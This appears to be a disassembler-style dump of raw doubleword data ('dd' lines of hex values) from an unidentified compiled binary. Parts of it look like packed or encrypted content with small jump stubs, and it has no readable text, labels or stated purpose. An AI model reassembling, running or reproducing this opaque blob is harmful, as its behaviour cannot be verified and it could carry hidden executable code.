dd 36881FBDh, 73F9CCCEh, 760A9D1Ah, 0FBAAF6CDh, 5A011E86h
dd 9C32B2B2h, 0C66377FCh, 66FB42C3h, 6020E20Bh, 0E013FAFh
dd 45EC0000h, 0F0722E4Ah, 64FB97F5h, 0E78F1B79h, 96128EEAh
dd 85D2F193h, 503031BDh, 0C5A7A244h, 4F2D2CC9h, 0B7D5D053h
dd 7335891Ch, 417C7207h, 0FE8524FFh, 80376CFBh, 8FB477h
dd 92FAF951h, 0DD74E3A9h, 0CA306846h, 0E5BC7624h, 24C9CF89h
dd 15921D76h, 51F9FC87h, 6CE71E03h, 4F2D4A7Ch, 1FB6546Fh
dd 0B4D07E4Fh, 0E6B84F82h, 7624CBA2h, 0C9E9412Eh, 4301D1AEh
dd 0E7624CCh, 89FC1287h, 17BFE138h, 0AFD87608h, 0B51DD0CBh
dd 0BB60443Bh, 61DDE1C9h, 61h, 80FB448h, 0D3AB3A7Bh, 7624FD95h
dd 0D5EE4423h, 49DC7EB9h, 6C81AF75h, 0EB7A057Ch, 0B7D5D451h
dd 6C805D19h, 0A7F78E7Ch, 7C6C80E1h, 951080EFh, 0D75C3C92h
dd 17AE45D0h, 6C810147h, 0F2A0CF7Ch, 7C6C80B6h, 3E4F42E2h
dd 0CE640371h, 575BE6B2h, 48DFA8ADh, 0AB516C8Eh, 0F5651293h
dd 0D0Bh, 0DC7EB952h, 4977549h, 94ED7C72h, 6675521Fh, 0F0AEC21Eh
dd 7C7208B8h, 64425003h, 0E3913E4Fh, 0FC900784h, 84107077h
dd 0D890EEFFh, 0E47C718Ch, 62FF26Fh, 5EDF050Dh, 0AAA46D1h
dd 91394637h, 0CB91AAE2h, 502EC55Ch, 7C71C618h, 0D4A5BC44h
dd 74DAA5D7h, 0BF96E766h, 91046382h, 137174FFh, 88F9FC87h
dd 0C651FBC4h, 15DDC6CDh, 9C1D6A6Fh, 4A6D7AEBh, 0B85D31E4h
dd 0C7C6C8Dh, 0D62BDC63h, 920D0C5Bh, 0C82E4h, 0CDC46D00h
dd 7471F3AFh, 0F8E77814h, 6D640C98h, 1217930Fh, 3C046D76h
dd 0C7D3B1B0h, 48442421h, 0D2CEAAADh, 9D365251h, 8F4B40Ah
dd 7EC07C72h, 32FD47A5h, 922E7624h, 0F3B50912h
dd 0C1762432h, 2B4839A6h, 5285265Eh, 71D95607h, 6DF8A29Dh
dd 0FD5550D3h, 42EF8118h, 7CE9E74Fh, 0E87C7245h, 0EF81188Fh
dd 0D4D15345h, 0F159C6A7h, 0E5878221h, 7E0F0AA9h, 0F067251Eh
dd 0B9E1B39Eh, 0CD703F82h, 129E6230h, 0F8198906h, 0F700000Bh
dd 8511734Eh, 29EFAFFh, 96026E7Dh, 257113EEh, 0DBF89899h
dd 2326C2FAh, 0D6B35541h, 5C53DECAh, 0C4C3603Ch, 0C6982FA4h
dd 7C720982h, 852FF84Eh, 0D791EDFEh, 0E5762432h, 1C6C1D9Ah
dd 6B059097h, 0C781DDCEh, 15762432h, 3645ED6Ah, 0A73D7621h
dd 87C0CD4Ch, 4B30AA00h, 0E102A65Dh, 6637CDDh, 0BB550000h
dd 8AB3924h, 0B902A50Dh, 7549DC7Eh, 7C72040Dh, 37C95C5Bh
dd 0BAEB898Ch, 0F5828126h, 0F1721EB4h, 6F3585F2h, 997C7202h
dd 0D269FC9Eh, 325633Bh, 0F4B37C72h, 2011705Eh, 0C3B882BAh
dd 95621E56h, 0F3FF5743h, 9BFA09B4h, 53CC129Eh, 0B42A3h
dd 0D04AD00h, 0B4B1336Fh, 3827B8D4h, 0ADA44C58h, 5257D3CFh
dd 7C442D36h, 793F1F0h, 88046461h, 128EEAEDh, 5DF69291h
dd 0B34744Ah, 3E807C72h, 0FBFE8565h, 0A64FB8Ah, 7624334Eh
dd 0E5B51D9Ah, 0A8B7485Eh, 0B9355A2Bh, 1239E2C2h, 0BEE3DDE1h
dd 38000005h, 2432FD47h, 6E2C1776h, 0DADF65F7h, 0AF66CCADh
dd 7203B3DFh, 0DE613D7Ch, 3E7A54C3h, 8A7C7204h, 67F96CEDh
dd 554ED9DCh, 0EE70AD44h, 4858FE39h, 263BC759h, 16822849h
dd 6A2E806Dh, 767C7190h, 0ACFB8809h, 90FFB915h, 0B1CD7C71h
dd 27443534h, 83BC10A6h, 0C2B74ED9h, 5A1AD3DEh, 96C46A97h
dd 82B94FABh, 75338B22h, 4376294Eh, 85E28E24h, 9ED3EF3Ah
dd 0D856C912h, 0A73h, 9CFCF372h, 5676200h, 89EBF689h, 0FC9C951Dh
dd 670504A0h, 0A34F775Ch, 30D6C2AEh, 0DE5B3755h, 46EDB9DBh
dd 1BB22143h, 720B0543h, 9A0DD37Ch, 8AFBFE85h, 4E0A64FBh
dd 7F762433h, 2432692Fh, 78087776h, 78FB973Fh, 6D0D4789h
dd 8A0BF2B9h, 0A51AD4FDh, 465DE67Ah, 0B727DCF0h, 0DEFDDDE1h
dd 26000004h, 49DC7EB9h, 72046275h, 5EC9B67Ch, 462221C2h
dd 26B9A94Ah, 0AC2D4A3Bh, 4450FDFh, 744F7C72h, 1AAD3FD6h
dd 57EEA70Fh, 3AAEEC0h, 49367C72h, 208EF3E1h, 0DDDA82BAh
dd 9E23BD62h, 66148B12h, 9CBh, 0E4849B1Ah, 6D0F0AA8h, 0D1B3AE31h
dd 44243DC5h, 0CFADAC48h, 4BF7CFA4h, 0E87E2A76h, 66039FFDh
dd 0EE950163h, 0C3DA89EBh, 720BADEBh, 0E2A53B7Ch, 8AFBFE85h
dd 17E75FEh, 0BFE95608h, 0DDE11244h, 4549Eh, 2470500h
dd 12762433h, 9AF46329h, 7C7203EAh, 8F26B1FEh, 7170FDh
dd 0A7189197h, 0AE2F6C9Dh, 0ECEB8808h, 9493108Ch, 54146A01h
dd 607C715Dh, 4C00AF07h, 0A73EA973h, 715D91D7h, 0FA505F7Ch
dd 4CE8841Bh, 5154DF4Dh, 0EDEB4320h, 82B9734Ch, 75A01F98h
dd 53129EB2h, 9292EDCh, 3DC40000h, 0A84A4622h, 4CD3CFADh
dd 0DF673351h, 4EEAA6C2h, 0AD0A294Bh, 88E8E995h, 0FD9F8A1Ch
dd 670504A1h, 0EF8D882Bh, 4B0D6174h, 997C720Dh, 0FE855CC7h
dd 0F9D56CFBh, 762432BFh, 334041EDh, 628D0672h, 0C5A961Ch
dd 3645ED6Ah, 0BC2ED95Ah, 8895F87Fh, 0C1D9D657h, 4BE830EFh
dd 978C2C4Ch, 4DDE101h, 0C0F8D66Dh, 0C762435h, 35753363h
dd 24437624h, 780908B4h, 3F4B933Bh, 0D0000001h, 4047EC80h
dd 3CDC7233h, 0B1C3B0B7h, 0CA03732h, 67E89766h, 7728750Ch
dd 514060F6h, 6FBB4958h, 6D1022E4h, 170A7FE7h, 2625BAB4h
dd 3AB2849h, 5BCA90ABh, 6D29DA03h, 6DB6EB7Ch, 7D5F8B7Ah
dd 0CEA9C961h, 4C6321B1h, 7CEE7C6Ch, 862998Fh, 2CB8DBA9h
dd 11000000h, 8CFDE87Fh, 0B93C47EFh, 7549DC7Eh, 7C6C4064h
dd 2886F7B0h, 7C6C3F6Ch, 90B46BE7h, 0DBA9036Bh, 0D8DF64F8h
dd 0A9EA72h, 85310000h, 376CFBFEh, 49C695B2h, 84339BA6h
dd 384948F4h, 0BFCCCB68h, 214346EDh, 254FF6B7h, 92911276h
dd 0FF9DA6F6h, 0AE1F1668h, 0F5AE7C6Fh, 1EBD8977h, 0B232AEE3h
dd 1C9B17BFh, 764BF789h, 5FE17B2Ah, 0DE743542h, 0A0B632h
dd 6B377401h, 726D727Dh, 0C6814AF5h, 0F8B70C59h, 7CA4Ah
dd 859C2500h, 0C09ABE7h, 0B0AF306Ch, 253CC4D0h, 0AAAF4B47h
dd 0F4CCA5CEh, 7F2B4948h, 9CFCE9h, 8A066265h, 0D58EEAE9h
dd 0DACECC2h, 0A6387C72h, 0F8F985FDh, 0AF56346Dh, 80E25662h
dd 24E86A2Eh, 88097676h, 690A8622h, 85650E6Ah, 0D06CFBFEh
dd 0FAF95150h, 620E05AEh, 23CD4h, 7EB93300h, 147549DCh
dd 607C6C5Ah, 76FC9007h, 45C2C560h, 0C6D96434h, 74C2F159h
dd 7C6C5930h, 0D4F0AF1Bh, 0DBA9282Fh, 1FBF5h, 4472E00h
dd 29762433h, 9916EB97h, 0E1DAB218h, 0A8D2AC3Bh, 307C7203h
dd 0A74CE077h, 2FD4C0A0h, 574C5B28h, 12F42EC0h, 0AEEAC49Dh
dd 3A7C722Dh, 8656FC7Dh, 36881FBDh, 82BA4313h, 0D627C3DFh
dd 3B7C7538h, 8F0C8DEFh, 9E46D130h, 8A38F712h, 6EFh, 187877FEh
dd 81E3E68Ch, 0F5977215h, 78181999h, 0E381802Ch, 2FCBF3C0h
dd 0CC524E2Ah, 5AE7B3D1h, 0CA692547h, 9F36ADCFh, 720E89CFh
dd 16F1577Ch, 8AFBFE85h, 17E75FEh, 0A540DC79h, 0ED520CA2h
dd 0DBB9BC47h, 0E10EC833h, 15A12DDh, 0E47B0000h, 243ECE8Ah
dd 359D1A76h, 0FBFE8592h, 5453D06Ch, 0A3F1FEh, 0A3FB9205h
dd 762432E5h, 821EB4F3h, 0DC4B112Ah, 6C455B82h, 8E316A7Ch
dd 1AB8AAA5h, 7A16A208h, 0FE8AFBFEh, 70F17E75h, 38704EE5h
dd 847C6CB0h, 962453FBh, 7C6CAFCEh, 0C7D78FAh, 8FFCEB7Ch
dd 0E039E6D4h, 41EC530Fh, 700104AFh, 18039B33h, 0C2DBA96Fh
dd 52h, 938E11ABh, 0BC1285E2h, 7C6CA7FCh, 7C07AFC8h, 4D44EC80h
dd 41ED7F3Ch, 2912EA40h, 0F9AF463h, 0DB7C6C40h, 0DCB249DCh
dd 7C6C3F9Ch, 0C8E74F28h, 6C403A7Ah, 0CFC26E7Ch, 525CE2BEh
dd 2253D0D7h, 479C437Fh, 654338AAh, 0DBA903BEh, 8D64h
dd 0FE85BF00h, 72FE8AFBh, 0F1720E7Fh, 1C97BD06h, 8FEC9D94h
dd 0CEC7FEFAh, 0A3D0D752h, 643445C2h, 2EB8D8DFh, 7625547Fh
dd 7376F28Eh, 4AF76502h, 0B033DF77h, 0BC87D7B5h, 3E37871Eh
dd 0AA7C6F56h, 3AC65ACDh, 0AD494527h, 0CC9611ACh, 0EFA00C59h
dd 58E7Fh, 0D9D85900h, 4045EFBBh, 0F4D37420h, 7978F894h
dd 0EEE38F1Bh, 28106182h, 0B3EF8D8Ch, 4450302Dh, 0CEDAA6B9h
dd 91422E25h, 0FE8A0FEh, 52F47C72h, 0F8F985B1h, 60670C98h
dd 0FE856300h, 75FE8AFBh, 1664127Eh, 0E3000000h, 8AFBFE85h
dd 17E75FEh, 618B702Ah, 0BA5C7C2h, 43h, 0FBFE8588h, 0BB67376Ch
dd 0FB72E98Dh, 0A6B4928Eh, 1EB4D434h, 0F684C191h, 0EBA77624h
dd 4047EC34h, 28603ED5h, 0B47624F7h, 46025CCBh, 927624F7h
dd 742DBD15h, 0F6C781DDh, 48F57624h, 97B3849h, 80BFC86Eh
dd 0CA5C5AECh, 18F85EDFh, 0ECF98F9Bh, 0E0911E9Fh, 5EC993ACh
dd 32B1F7C7h, 703F7624h, 48642C07h, 7BD37D11h, 1EE8C49Ah
dd 733C7C72h, 0BFAB48E4h, 0DFBD3A37h, 542520C3h, 1204AF41h
dd 84E59291h, 0E4DFAF07h, 19A59335h, 8DEA9B18h, 48C5990Ch
dd 7982BFCDh, 2B585DE7h, 0ABD4E44Ah, 0B00EA53Ch, 76244CF8h
dd 522CBBC4h, 76244D16h, 0AD6DC5A2h, 95941006h, 4CECAC02h
dd 0BFF87624h, 0BD46523Eh, 27BEC9A6h, 9916F395h, 4D0E4A18h
dd 0DDDA7624h, 0FC9E9975h, 94353069h, 954A4643h, 196617F2h
dd 0B633298h, 7C6CB1EAh
dd 3A71A6DBh, 1301D187h, 0CD703FBBh, 0C5B59E0h, 30A959D6h
dd 0BF000004h, 4D593B36h, 0CAC6A2A7h, 5E4A5635h, 0EDB9DBD6h
dd 3204041h, 0EBEE8AB2h, 9E8B1D89h, 41BA6F2h, 8C8B2864h
dd 0E6077ECh, 7C72124Ah, 85573096h, 899FBFEh, 5EE5C974h
dd 0CCADDA5Bh, 1909AA66h, 891C9D9Ch, 6774AF7h, 0D6A2D179h
dd 4159562Dh, 0CB68B06Fh, 170CACCCh, 0CDDDE10Eh, 3Eh, 0CF7EB956h
dd 38AF2C39h, 6C819E66h, 0DA4D2A7Ch, 0C4A4BB46h, 6C814C0Ah
dd 0F0F77C7Ch, 0B8F0CE65h, 47C6C80h, 4ECFCA68h, 21CCD8E8h
dd 4E20B72Eh, 7C6C810Ah, 7201A9D6h, 392C4h, 0EC804300h
dd 2AE64C5Bh, 0AAFD8A89h, 0FA636A16h, 8A483E29h, 0E7B31B98h
dd 533B595Ch, 5B33A268h, 7C6C53B2h, 6D384936h, 1662E234h
dd 0FA70B25h, 6CC00341h, 2F9C4E7Ch, 0A99F02F9h, 4CD8DBh
dd 0F8B10000h, 78568880h, 7C6C4240h, 6296E38Ch, 4AF662A4h
dd 0D1790677h, 0DC7EB9B6h, 951EB249h, 2A80E19Eh, 6C401DACh
dd 37BDC97Ch, 76C4B532h, 7C6C402Eh, 2BF2A925h, 0CE31291h
dd 8CC6281Ch, 9D319906h, 0DBA90566h, 0C4BCh, 0FE85E700h
dd 53D06CFBh, 0A3F1FE54h, 27750207h, 98E8999Ch, 0E27C1C1Bh
dd 7624369Bh, 1681842Fh, 50E6E57Ah, 0D8DF6430h, 0A340DCABh
dd 0FA43BE50h, 42C3CB01h, 0EDE7435h, 0AE009735h, 7C6D2FDFh
dd 0DFD252EEh, 5C3C7B77h, 0EE8A437Ch, 9C1D9AEBh, 0B9BAB509h
dd 51EB82B7h, 2DA6D7D2h, 13ADF687h, 0FE54D5D3h, 8B22B5F2h
dd 26F77533h, 8E244376h, 0C8C97507h, 7170FCA8h, 0A12AE5CEh
dd 0BE2CE312h, 283h, 0ACCCC362h, 157772F0h, 99FBE679h
dd 0C6C650Dh, 77151490h, 0B33F076Ch, 20C6D2BEh, 0AE4B4725h
dd 56DDC9ABh, 0BA23153h, 7212F5B3h, 0AA7DC37Ch, 98F8F985h
dd 0F673670Ch, 0C3405FE0h, 1474F5B2h, 0CA7EB98Fh, 2432B4F4h
dd 0E6670076h, 3F8A1F6Fh, 29567C6Ch, 0D8B64D58h, 7C6C3FA0h
dd 0EDEB432Ch, 7C6C3FA7h, 5D4B30A2h, 0DBA903A6h, 0A47Ch
dd 0FE85A700h, 72FE8AFBh, 0EDB00E7Fh, 0D9762436h, 0ACBB4C5Ah
dd 0D2514D2Fh, 38CFA6D7h, 0C3E9B543h, 5D0DC2BBh, 7625081Bh
dd 0D152CEA9h, 6EC4A5D2h, 70E7A59Eh, 2C6C42D9h, 0B8762508h
dd 347957FFh, 707C6D38h, 3A055537h, 57A90590h, 9582B7CEh
dd 45E17BEAh, 0CC682444h, 0B07A8439h, 840578C3h, 0A1D3A039h
dd 69199612h, 1A7h, 0C0A0BF46h, 492B2ED4h, 0BDDFCA5Dh
dd 204041E1h, 0ABC9C874h, 97132B88h, 49AF692h, 822F7B19h
dd 32B1ED8Fh, 0E7FE5537h, 7213D197h, 0DE491F7Ch, 98F8F985h
dd 60670Ch, 0FBFE8563h, 0C461FB8Ah, 0C803B4C5h, 0F549EC03h
dd 0F98E1A9Bh, 2FD444EAh, 91D7A73Eh, 5F7624D5h, 0D6460250h
dd 15927624h, 0C46F0194h, 61F3B0C1h, 5D6DC5C4h, 0D6A7A241h
dd 881FBD86h, 6CFE1736h, 0A7D4D37Ch, 5B2829D5h, 0DDAAB749h
dd 0AE672496h, 8C540BC7h, 2880E0E7h, 84DA4D0Fh, 82B4C315h
dd 3B492641h, 932ABDB8h, 24C07D3Bh, 862C4B76h, 5308C2E9h
dd 0B6348AB5h, 57B8C2B8h, 421C8B08h, 7C6C7857h, 0B9761083h
dd 0A9C6C365h, 0B6A9BFC8h, 0C2DEBA3Bh, 47552221h, 9930A7BAh
dd 6D1383C5h, 9EDAB47Ch, 2A7C6D13h, 0DA703F4Dh, 2F22CFDDh
dd 0A0A7425Eh, 6DD2E8D3h, 5A01B1D4h, 51EB1E93h, 4C0E7C09h
dd 8A892AE6h, 17B58EEEh, 0B157E980h, 70C6A7D4h, 0B4E4CB62h
dd 5901F82h, 0BCCDC86Bh, 4D5857FFh, 423336B3h, 660D8D25h
dd 0C7731263h, 9D3EC18h, 0D275079Eh, 120D86F7h, 0C5F6266Bh
dd 0F3E149F6h, 7C6D2D5Ah, 4056D2AEh, 0A425A2A5h, 1CBF4C4h
dd 0FDEC3896h, 7F3882BAh, 6F1720Eh, 61D1C2A3h, 86E263A6h
dd 1D6A690Ah, 0DD9BF38Ah, 0EB762A23h, 9C1D089Fh, 5D1E9836h
dd 5F1377A2h, 0BCBB38E0h, 2423C0DCh, 1AC4057h, 48E8A80Eh
dd 0ADC6C55Ah, 8ED46AA0h, 0A0D15ECBh, 22F6B525h, 0AAE68281h
dd 0CD7D0A09h, 3, 85DA414Ah, 494E5FCh, 790B787Fh, 0FC8CFDFCh
dd 720E7F6Ah, 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h
dd 0B9BFCCC9h, 5E08950h, 4, 8704E883h, 895C2404h, 0C0682434h
dd 89000072h, 0F668241Ch, 8900003Ch, 0BE562414h, 0E03601Ah
dd 1A1B44BBh, 1BEB8163h, 294EC8E9h, 8B545EF3h, 0C4832414h
dd 4EC8304h, 8F241C89h, 34FF0842h, 0C4835A24h, 241C8B04h
dd 81E28952h, 4C2h, 4C28100h, 87000000h, 0E95C2414h, 0FFFA9A7Dh
dd 9A6AF3BEh, 2CD6ECF9h, 0E38FB8F3h, 0C503064Dh, 0D17FE0FFh
dd 0E6B07795h, 64F2BFEh, 0B27449FDh, 8B9E24DFh, 52016499h
dd 34A84A1Fh, 0BD8C62DFh, 2578204Ch, 3D9C05B6h, 8B0627ABh
dd 0C74C46A6h, 6AF71D67h, 0CF716EA3h, 0D63A05D3h, 0B4136C83h
dd 9D0F0D1Dh, 7F79390Ch, 5A5E3055h, 0C6550E7Dh, 0C9D10EB6h
dd 0EAE65BDAh, 1B3057BFh, 539A7CAEh, 8EB7ABDh, 6F818058h
dd 2400000h, 0C42E9h, 0E63C6800h, 3FE9064Dh, 68FFFB64h
dd 64DE787h, 0FB6435E9h, 0E91D68FFh, 2BE9064Dh, 68FFFB64h
dd 64DE9CDh, 0FB6421E9h, 0EA9268FFh, 17E9064Dh, 68FFFB64h
dd 64DEC96h, 0FB640DE9h, 0ED2068FFh, 3E9064Dh, 68FFFB64h
dd 64DEE5Bh, 0FB63F9E9h, 0EF5268FFh, 0EFE9064Dh, 0A5FFFB63h
dd 20AE22E2h, 9630B878h, 1EB830ECh, 85034F89h, 1D88C004h
dd 0EB317090h, 6DBDF9E7h, 0FA22636Dh, 76B2E8F6h, 9D4A627Ah
dd 73D79BFCh, 77579819h, 0DFC1D511h, 8A4409D5h, 3A6E960Ch
dd 0C6EEF0FEh, 9A7F7001h, 69CB9575h, 0C1758061h, 6DC83AADh
dd 9B258F52h, 6DBD6ED5h, 9AFA73D2h, 85EF0B4Bh, 3E1F2682h
dd 0DC26B2CAh, 0EDE97CCh, 3909230h, 463A9E38h, 0FD000000h
dd 0ACB26590h, 4F4C04D1h, 434D61C3h, 0F4D6845Ch, 0AEBC2BC1h
dd 0B8F5224h, 0BFE30B8Dh, 0B13F997Bh, 2DF9BBE5h, 3422FFA8h
dd 2D6573D2h, 0CFE72363h, 0D2347B18h, 89CC9E73h, 0DBE785BBh
dd 719E3882h, 116h, 0D5117704h, 6CB8F9E7h, 0C23A606Eh
dd 0A37F39C7h, 57318BC1h, 5320A73Fh, 0B6759A7Fh, 19EDA114h
dd 99D71377h, 9A008EC7h, 5AD125Eh, 6759A7Bh, 0E55D3327h
dd 686D2C90h, 0F4E42066h, 0DBAB4EAh, 759AB66Ch, 0AD4AFD89h
dd 48759AB6h, 224A14F6h, 0B21778C3h, 6B62020Fh, 93C7F2B3h
dd 755A4CFBh, 30118F52h, 663A5223h, 48E143A2h, 27B935B8h
dd 5999018Fh, 0AED95814h, 3465E28Ah, 11891C85h, 3879274Fh
dd 0A879C8ECh, 0A2028EB2h, 668CAB0Eh, 3F0C2407h, 9876EB88h
dd 0D2BC0E75h, 0FAA7219Bh, 0EB774322h, 21AF0225h, 9EC8Ch
dd 98484B00h, 16D2B6D0h, 0AE7A3C5Ah, 25FFA422h, 0BE6E2BB5h
dd 6E68732h, 8F09419Bh, 997DB07h, 7E18508Ch, 0DCECEC28h
dd 996233B4h, 0FA8773D7h, 510A7735h, 8B2D47Ch, 0ED816353h
dd 0B439FDA3h, 206628F8h, 4B01C3D8h, 0B0DE9771h, 0B59712EAh
dd 0C7DDC3EBh, 464F4D03h, 0C7B93C9Eh, 3127612Fh, 9A25D9B6h
dd 0C0A23C75h, 6590A88Dh, 3C2A9D31h, 998F5262h, 93FD89C7h
dd 25873511h, 721AF7B0h, 7D5D73D2h, 544C5243h, 0B6B0D99Ch
dd 0DD9E38C4h, 0A715F1B3h, 0EF795005h, 3C000000h, 0A81F1177h
dd 759A7FCBh, 980E9C2Eh, 0E24C1E5Ch, 79A3EEECh, 7B268C73h
dd 8D25759Ah, 9A7B3DDAh, 4F06D875h, 0E0A1594Fh, 7E165A24h
dd 6B49410h, 0F7AD31A4h, 0A7E9BD33h, 11AB21FDh, 0F6AAD55Ch
dd 14F4B0DEh, 52E487A6h, 3AA84736h
dd 0C87F1558h, 8F5278DEh, 11E1E973h, 6C788830h, 7A73B5BCh
dd 0B2E888B3h, 8E95E76h, 0ED73D243h, 6ADDF153h, 891CE2DEh
dd 13E0673Fh, 0F67598E2h, 0FCF22E68h, 0EA600E2h, 97DB0180h
dd 13E067FFh, 107598E2h, 98E2C657h, 13992375h, 0ED032BCAh
dd 4721466Ch, 0DB01800Eh, 257C367Ah, 5D10DE02h, 8A1h, 6555B7F0h
dd 0EFE3277Bh, 777BA7E1h, 0FEF23269h, 470BD1D0h, 0CCCD2D4Ah
dd 4E365018h, 0F5B0DE92h, 7F25A32Fh, 0FF9737BBh, 0D798AB48h
dd 0EA234E73h, 9ED20A77h, 466EAAF0h, 0CC814358h, 1177DF10h
dd 0A3F9E7D5h, 7F8A6B67h, 48076458h, 0A002370Fh, 0E00820Ch
dd 9AC1B859h, 21835D75h, 0C45C11ABh, 52DAFB03h, 0E760F88Fh
dd 73D2CA16h, 6A6469F3h, 7D73A9ECh, 0CDCB8163h, 315F13D7h
dd 0A8DA2C6Bh, 3F68416h, 0B5174581h, 9C4309EBh, 818A1E2h
dd 3FBD792Fh, 46011791h, 0F494A1A9h, 5A10F24Ch, 9C4779C7h
dd 4D4856CEh, 300EDE97h, 5E1B8061h, 173C9A1Dh, 0AE6A305Eh
dd 3AFEA422h, 5722B392h, 55BADA9Ch, 3ED6AE60h, 94C6E889h
dd 3AB30DF4h, 94C6914Dh, 92ACF8F4h, 676BAFF5h, 0E9E72379h
dd 94C65C32h, 744A92F4h, 3DDA8D25h, 0D80B6B39h, 594F4F06h
dd 0EDB3DD9Dh, 0B7C2A329h, 967CEB83h, 73F1A303h, 0F500E1E9h
dd 0FD952D41h, 2313AD4Ah, 0FFF6480Dh, 0EB224806h, 9DD36DF7h
dd 6B237426h, 152B330Bh, 0C79FA584h, 38F20551h, 0F7E52762h
dd 0CFFBE0D5h, 65E681C6h, 48Dh, 8545414Fh, 0C1AE67D0h
dd 0C2759A7Fh, 0FA3E642Ah, 9A7F1CFDh, 6E67F975h, 9A6FE4B9h
dd 6B07F075h, 2EE3759Ah, 15759A6Ch, 6C2DCA7Dh, 0BCC8759Ah
dd 9A6C6A0Bh, 533D8F75h, 3468931Ah, 569F27A0h, 637A8F52h
dd 0A7769F6h, 32E9F3D2h, 1F07E640h, 0F7046FCBh, 70B7479h
dd 296A0000h, 0CDD5F3FFh, 595B4575h, 0DCC3CD8Dh, 4F4A5404h
dd 0C7A0DD9Dh, 2EA27A27h, 0B424E4A0h, 39B16B2Ah, 8DCD099Fh
dd 45D2953Dh, 0A073D796h, 11770CC1h, 0F31EE7D5h, 7CA0274Fh
dd 5D8F699Bh, 0B270CF83h, 0D0E498A3h, 0A1829671h, 0D73E4926h
dd 3312AC73h, 2FA6DFCBh, 0BA34EE59h, 4719891Fh, 0F939612Fh
dd 7CCD309Ch, 0D39A96D7h, 7D72DEE1h, 59642678h, 80D69125h
dd 0A520363Fh, 0A5D0551Bh, 5B45DDF1h, 0F2CC825Ah, 16B21493h
dd 0AB220D8Fh, 7E73E7FAh, 0D0E44626h, 781CD8CEh, 39B77116h
dd 54722EA7h, 0FD2B8A4Eh, 11AD439Eh, 65B125Bh, 0F9BA0000h
dd 7D25A32Fh, 0E9AB35A5h, 8C13BD3Dh, 1F9A04B4h, 97108DCDh
dd 9ED20A77h, 6454B4F0h, 0E9E13B7Ah, 7D7DB9EFh, 0F582456Dh
dd 1073D796h, 1F815C91h, 0BF014F8Bh, 0ED3A25Eh, 23AA10E7h
dd 690D315Ch, 52FC98FEh, 0EDE37D8Fh, 7F7DB9EFh, 0C6F45051h
dd 4806C2D8h, 0FC675987h, 40407EEEh, 0A87C3D35h, 3AFEA422h
dd 0EE482AB4h, 0D8B92EC6h, 3D73D2ECh, 0BF5C0BA3h, 5A73D2ECh
dd 0B037CD80h, 891AF76Ah, 0E5BD3D8Fh, 0E7FD9A4Dh, 0C518759Ah
dd 0F8153B9Bh, 0E2EBB54Bh, 9ADE6825h, 0DE9F7C75h, 828D759Ah
dd 0CF31B6DEh, 0EE8F693Ah, 0CFA91E5Ch, 0E773D73Ah, 73D73A29h
dd 0E7468218h, 0FB955953h, 96F8F57Bh, 0E5000005h, 606E62A2h
dd 0D6F0F838h, 5E7870ACh, 0C5C38F49h, 5D4800C4h, 2BF1B050h
dd 0AD7D39A7h, 3AE2A32Dh, 0B67228B6h, 5D0AA23Ah, 73D795BCh
dd 90975859h, 59D3165h, 8512D56Dh, 60759A7Fh, 7FF899DEh
dd 431D759Ah, 9B135D0Ah, 75D48F69h, 48B5977Bh, 0B938A66Ah
dd 71C92A0Bh, 4C881E8Ch, 8539BC0Eh, 17458107h, 76AED7B5h
dd 0FF4E2694h, 0AD45DE63h, 0E1EDE0F0h, 0B2737FBBh, 0FC9AD08Ah
dd 606E62A6h, 4C0C23Ah, 0F09634BAh, 60BC8634h, 0DAFE4F4Eh
dd 13E51679h, 13891558h, 0CEF89BD7h, 649E3D03h, 1ADh, 9B5D424Ch
dd 659065D2h, 7FAF4CFBh, 0F04A759Ah, 1E882095h, 0A406EDABh
dd 4DCF5710h, 902A8F52h, 53B24ADAh, 7FD7F9D5h, 0E4B532DDh
dd 173D26Ch, 0A27136BFh, 0F773D26Ch, 60F89997h, 0D26C16E7h
dd 6469F373h, 0A6CE729Dh, 1A565921h, 71345A89h, 1E7CDA28h
dd 2EC6541h, 437B724Ch, 0B1D7F1F9h, 0E1AF4775h, 0D77664A0h
dd 0BE33EF81h, 5C11F3A1h, 4A86C32h, 2F8ED125h, 1C514710h
dd 82B6C1A0h, 10097DEAh, 5AE48F52h, 10F2AF14h, 95B573D2h
dd 0AAFD099Bh, 5E579E38h, 1E000000h, 9D316590h, 52623C2Ah
dd 60E77F8Fh, 73D27293h, 0EDE1D476h, 0FDA33B53h, 596369B9h
dd 0D2727D1Ah, 8FC69873h, 38AF47DFh, 73D2725Bh, 0B43AE6AEh
dd 93DA642Ah, 0D27279D2h, 201E3E73h, 0BF7B2F71h, 0BD26AF31h
dd 9E38C481h, 0AF2Bh, 93FD9500h, 3983C90Dh, 0D27EDDBAh
dd 2FA63873h, 0D5117706h, 0A6B8F9E7h, 9A7F5021h, 492BB575h
dd 0DB1F8503h, 5591F795h, 7B1CA265h, 0B3E9759Ah, 8FBA7B77h
dd 9577B3D7h, 0DA644601h, 0C7998F54h, 118917AFh, 82C19BD1h
dd 73D0DAF5h, 0E7FA05BFh, 8C02C4AFh, 0FE58840Eh, 0F18921F7h
dd 0D04E9976h, 0EBE27C73h, 6A66A6E3h, 1EFF2D6Ch, 46DD2FAh
dd 9209A42Ah, 0E1000003h, 6C6A66A6h, 0D2FCFC34h, 5A4474D0h
dd 0C1CF8345h, 595404C0h, 2FFDBC5Ch, 0A16125A3h, 3EE6AF29h
dd 4A8E14B2h, 590EA606h, 73D793B8h, 779B5C5Dh, 0F09ED20Ah
dd 0CD626EAAh, 4A921F81h, 0C1059B03h, 65A1E3ADh, 0AE605577h
dd 32BE7A20h, 0FFFDAE3Dh, 34E9759Ah, 0F759AFFh, 94DA1A81h
dd 0D1FC83CAh, 1E5E09ADh, 3F8F691Bh, 49572FADh, 55DC9151h
dd 9C484A2Ah, 7D2D9A32h, 58891F00h, 8D072786h, 814F0222h
dd 3082Ch, 0FC2C5700h, 0ACED2FCh, 825E5846h, 19DBC0CEh
dd 924A3751h, 22C2A3DEh, 0AB35A567h, 15B33FEBh, 9A04B490h
dd 3088C004h, 924E2F98h, 0CEAB73D7h, 0D5117709h, 0D1BE29C1h
dd 34759A7Fh, 9B6B23AAh, 656BAFF5h, 168C125Bh, 0EC179ED2h
dd 0B0D62E74h, 0A4C8AA74h, 526DC723h, 0DDC2CC8Fh, 420B551Bh
dd 1AC6CE4Ch, 904D32B8h, 0D773D26Dh, 0B6D8B9F7h, 345D10CCh
dd 9E38D70Ah, 25A0h, 65905700h, 9B059D31h, 0C186CF1Bh
dd 8F526241h, 0AF145AE4h, 73D272F2h, 99B95B5h, 9E38C4FDh
